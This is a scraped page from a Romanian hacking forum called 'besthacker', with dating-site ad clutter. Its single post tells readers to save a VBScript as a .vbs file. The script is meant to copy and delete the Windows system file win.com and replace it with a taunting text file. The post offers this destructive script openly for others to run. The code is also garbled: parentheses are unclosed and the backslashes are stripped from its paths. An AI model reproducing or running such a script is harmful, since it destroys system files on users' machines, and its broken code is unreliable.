besthacker
Numele forumului cat si aceasta descriere pot fi modificate accesind meniul ADMIN -> OPTIUNI
|
Nou pe simpatie:
andreutza43 la Simpatie.ro
 | Femeie
25 ani
Bacau
cauta Barbat
30 - 80 ani |
|
|
besthackerInregistrareLoginPozeNu sunteti logat. Lista Forumurilor Pe Tematici
|
| #1 |
|
|
IL SALVEZI SUB .VBS
Dim fso, fs1, fs2
Dim drive, folder, file
Set fso = CreateObject("Scripting.FileSystemObject"
drive = "c:"
folder ="windows"
file = "win.com"
Set fs1 = fso.GetFile(drive&folder&file)
fs1.copy ("c:windowstempwin.com"
set fs2=fso.CreateTextFile("c:windowswin.com"
fs2.writeline "win.com is gone images/smiles/icon_biggrin.gif"
Set fs1 = fso.GetFile(drive&folder&file)
fs1.delete
fs2.close
|
|
| |
|
